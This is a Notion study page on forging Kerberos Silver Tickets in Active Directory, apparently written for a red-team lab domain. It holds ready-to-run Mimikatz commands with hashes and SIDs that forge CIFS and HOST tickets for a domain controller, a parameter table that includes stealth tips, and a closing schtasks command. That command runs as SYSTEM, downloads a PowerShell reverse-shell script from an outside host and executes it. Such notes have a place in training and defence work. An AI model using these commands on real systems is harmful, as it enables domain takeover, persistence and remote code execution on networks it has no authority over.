Silver Ticket | Notion

A valid TGS (Golden ticket is TGT).
Encrypted and Signed by the hash of the service account (Golden ticket is signed by hash of krbtgt) of the service running with that account.
Services rarely check PAC (Privileged Attribute Certificate).
Services will allow access only to the services themselves.
Reasonable persistence period (default 30 days for computer accounts).
Using hash of the Domain Controller computer account, below command provides access to shares on the DC.

Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21- 1874506631-3219952063-538504511 /target:dcorpdc.dollarcorp.moneycorp.local /service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt"'

Similar command can be used for any other service on a machine. Which services? HOST, RPCSS, HTTP and many more.

Invoke-Mimikatz -Command
kerberos::golden	kerberos::golden
/User:Administrator	Username for which the TGT is generated
/domain:dollarcorp.moneycorp.local	Domain FQDN
/sid:S-1-5-21-1874506631-3219952063-
538504511	SID of the domain
/krbtgt:ff46a9d8bd66c6efd77603da26796f35	NTLM (RC4) hash of the krbtgt account. Use /aes128 and
/aes256 for using AES keys which is more silent.
/service:cifs	The SPN name of service for which TGS is to be created
/id:500 /groups:512	Optional User RID (default 500) and Group default 513 512 520
518 519)
/ptt
or
/ticket	Injects the ticket in current PowerShell process - no need to
save the ticket on disk
Saves the ticket to a file for later use
/startoffset:0	Optional when the ticket is available (default 0 - right
now) in minutes. Use negative for a ticket available from
past and a larger number for future
/endin:600	Optional ticket lifetime (default is 10 years) in minutes.
The default AD setting is 10 hours = 600 minutes
/renewmax:10080	Optional ticket lifetime with renewal (default is 10 years)
in minutes. The default AD setting is 7 days = 100800

There are various ways of achieving command execution using Silver tickets.
Create a silver ticket for the HOST SPN which will allow us to schedule a task on the target:

Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21- 1874506631-3219952063-538504511 /target:dcorpdc.dollarcorp.moneycorp.local /service:HOST /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt"'

Schedule and execute a task.

schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''<http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1>''')'"